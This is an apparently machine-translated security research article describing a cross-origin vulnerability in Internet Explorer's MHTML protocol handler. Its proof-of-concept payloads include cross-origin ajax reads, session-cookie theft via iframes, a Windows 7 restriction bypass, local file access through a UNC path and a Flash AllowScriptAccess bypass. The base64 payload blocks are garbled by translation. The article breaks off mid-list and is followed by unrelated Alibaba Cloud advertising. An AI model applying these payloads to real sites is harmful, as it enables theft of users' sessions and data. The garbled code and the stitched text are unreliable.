Author: dark night potential
Baidu hi: d4rkwind
Email: mere@vip.qq.com
Site: http://hi.baidu.com/d4rkwind/
Directory
0 × 00 background... 1
0 × 01 MHTML. 1
0 × 02 Cross-origin POC. 2
0 × 03 security questions... 4
0 × 04 in-depth exploitation... 4
0 × 05... 5
0 × 00 background
MHTML, or mime html, is defined by RFC 2557. It stores the content of a webpage with multiple attachments (parts, flash animations, etc.) to the standard of a single file. This standard was proposed by Microsoft and supported by IE 5.0.
At the same time, Microsoft has implemented the MHTML Protocol. By default, the installed Windows system carries the MHTML Protocol Handler (MHTML Protocol Handler ). In IE, when the URL Protocol of the embedded resource is MHTML, IE calls MHTML Protocol Handler to parse the resource as a MHTML file.
The MHTML Protocol Handler parses the MHTML format file and delivers the result to IE rendering, which inevitably involves security issues such as cross-origin access and script access permissions. In this process, once the Internet Explorer is improperly handled, a cross-origin vulnerability is generated.
Based on the above ideas, we have performed a series of cross-origin security tests on MHTML protocols.
0 × 01 MHTML
According to RFC 2557, The MHTML file format is as follows (not related to the file extension name, and assume the URL: http://trusteddomain.com/demo.html ):
Content-Type: multipart/related; boundary = "_ boundary_by_mere"
-_ Boundary_by_mere
Content-Location: demo
Content-Transfer-Encoding: base64
PGh0bWw + PGJvZHk + tuhuuwgrevntye8l2jvzhk + PC9odG1sPg =
-_ Boundary_by_mere-
IE access MHTML: http://trusteddomain.com/demo.html! Demo, MHTML Protocol Handler finds the corresponding data block based on the Content-Location value, then, based on the Content-Transfer-Encoding value, decode the base64 data section "PGh0bWw + PGJvZHk + tuhuuwgrevntye8l2jvzhk + PC9odG1sPg =, finally, the content parsed by IE is the corresponding "
Similarly, we construct the URL: http://evildomain.com/mhtml.html, whose HTML code is:
<Iframe src = "MHTML: http://trusteddomain.com/demo.html! Demo "> </iframe>
In IE, visit http://evildomain.com/mhtml.html.
0 × 02 Cross-origin POC
Known by 0x01, IE correctly read MHTML: http://trusteddomain.com/demo.html! The HTML code corresponding to the demo is rendered. However, if the HTML source code contains a script, what domain does it belong to and what permissions does it have, does it comply with the same-origin policy?
After testing, we get the following two POC files (if you need to test, change the host file ):
POC 01: Cross-origin ajax request using MHTML
The URL: http://trusteddomain.com/demo.html code is:
Content-Type: multipart/related; boundary = "_ boundary_by_mere"
-_ Boundary_by_mere
Content-Location: ajax
Content-Transfer-Encoding: base64
PGJvZHk + response
4NCjxzY3JpcHQ + response
Bytes
Bytes
Operator =
-_ Boundary_by_mere-
The original base64 is:
<Body>
<Script src = http://evildomain.com/xmlhttp.js> </script>
<Script>
Var xmlHttp = createXmlHttpRequest ();
Var url = "http://trusteddomain.com /";
XmlHttp. open ("get", url, false );
XmlHttp. send (null );
Alert ("Trusteddomain.com's innerHTML is" + xmlHttp. responseText );
</Script>
</Body>
Here, http://evildomain.com/xmlhttp.js is the definition of the created xmlhttpobject.
URL: http://evildomain.com/mhtml.html, whose HTML code is:
<Iframe src = "MHTML: http://trusteddomain.com/demo.html! Ajax "> </iframe>
IE access http://evildomain.com/mhtml.html, Win xp + ie 8 pop up the content under the http://trusteddomain.com/domain, that is, IE think MHTML: http://trusteddomain.com/demo.html! Ajax and http://trusteddomain.com/same origin. Windows 7 + ie8 prompts that there is no permission and security restrictions appear to be imposed, but the following methods can still be bypassed:
<Iframe src = "MHTML: http://trusteddomain.com/demo.html! Ajax "> </iframe>
<Script>
SetTimeout ('window. location = "http://evildomain.com/mhtml.html#',3000); // win 7 + ie8, such as setTimeout ('window. location. reload () ', 3000) or other methods can also
</Script>
POC 02: Use MHTML to retrieve cookies
The URL: http://trusteddomain.com/demo.html code is:
Content-Type: multipart/related; boundary = "_ boundary_by_mere"
-_ Boundary_by_mere
Content-Location: cookie
Content-Transfer-Encoding: base64
PGJvZHk + response
Bytes
DpbmRvdyA/Baidu
Bytes
C2nyaxb0p1_vym9ket4ncg =
-_ Boundary_by_mere-
The original base64 is:
<Body>
<Iframe src = "http://trusteddomain.com/"> </iframe>
<Script>
Function crosscookie (){
Ifr = ifr. contentWindow? Ifr. contentWindow: ifr. contentDocument;
Alert(ifr.doc ument. cookie)
}
SetTimeout ("crosscookie ()", 1000 );
</Script> </body>
URL: http://evildomain.com/mhtml.html, whose HTML code is:
<Iframe src = "MHTML: http://trusteddomain.com/demo.html! Cookie "> </iframe>
IE accesses the http://evildomain.com/mhtml.html and the session cookie under trusteddomain.com is displayed.
0 × 03 security questions
The same-origin policy of the browser, that is, the same protocol, the same domain name, and the same port, prevents the script from reading the content of other sites. But by 0 × 02, we found IE "think" MHTML: http://trusteddomain.com/demo.html! Cookie and http://trusteddomain.com meet the same-origin policy. In addition, we did a similar test on MHTML: ftp: //. We finally figured out that in the MHTML Protocol scenario, the protocol for IE to get the mhtml protocol, that is, http (ftp) same-origin verification with trusteddomain.com, rather than MHTML: http and http. This leads to cross-origin vulnerability in IE.
Can I cross the region?
After our tests, we found that the "iframe src = mhtml: local file" method is unable to obtain the content of local files through its cross-origin due to the security restrictions of iframe itself, therefore, it cannot be used, but iframe allows you to introduce local files through uac. POC is as follows: (the code in file: // 127.0.0.1/c $/ajax.html is not pasted here)
URL: http://evildomain.com/mhtml.html whose html code is
<Iframe src = "mhtml: file: // 127.0.0.1/c $/ajax.html! Ajax "> </iframe>
According to the following 0 × 04, finding a local plug-in file that can be controlled by IE, such as index. dat, will become a point of Attention to the attack, which is not described here.
In addition, we also found that using MHTML can successfully bypass the security restrictions of flash's AllowScriptAccess = sameDomain and crossdomain. xml. In the following example, the http://trusteddomain.com/flash.html allows the user to insert flash, but limits AllowScriptAccess to the default sameDomain, and in crossdomain. xml of trusteddomain.com, set allow-access-from domain to trusteddomain.com.
The integrated POC is as follows: (the code in the http://trusteddomain.com/demo.html here is no longer pasted out)
URL: http://trusteddomain.com/flash.html whose html code is
<Embed type = "application/x-shockwave-flash" src = "mhtml: http://trusteddomain.com/demo.html! Demo.swf "allowNetworking = all AllowScriptAccess = samedomain width = 500 height = 500> </embed>
Internet Explorer accesses the http://trusteddomain.com/flash.html, and our trusted flashlinks file demo.swf successfully interacts and communicates with trusteddomain.com.
For the tracing source, refer to the MSDN document About Asynchronous Pluggable Protocols. We found that the MHTML function is similar to MIME sniff. After interpreting the MIME content, it is handed over to IE for processing, HTTP = MHTML = IE. However, in the end, when IE processes the content, because the content is essentially from HTTP, it is considered that its domain is the domain where HTTP is located. This seems to be understandable, but it can be exploited to cause cross-origin attacks.
0 × 04 in-depth exploitation
Known from 0 × 01-0 × 03, attackers can exploit this vulnerability to control part of a page or a file under the attacked domain trusteddomain.com, and the attack code needs to be inserted in the MHTML format. Based on our tests, we also found that MHTML Protocol Handler has the following "moderate" features for MHTML files:
1. MHTML Protocol Handler ignores the remote file suffix;
2. MHTML Protocol Handler ignores all Content except "Empty rows" in front of the Content-Type in the remote file. If "Empty rows" exist, MHTML Protocol Handler cannot interpret the file;
3. MHTML Protocol Handler ignores all irrelevant content after "-_ boundary_by_mere-" in the remote file;
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
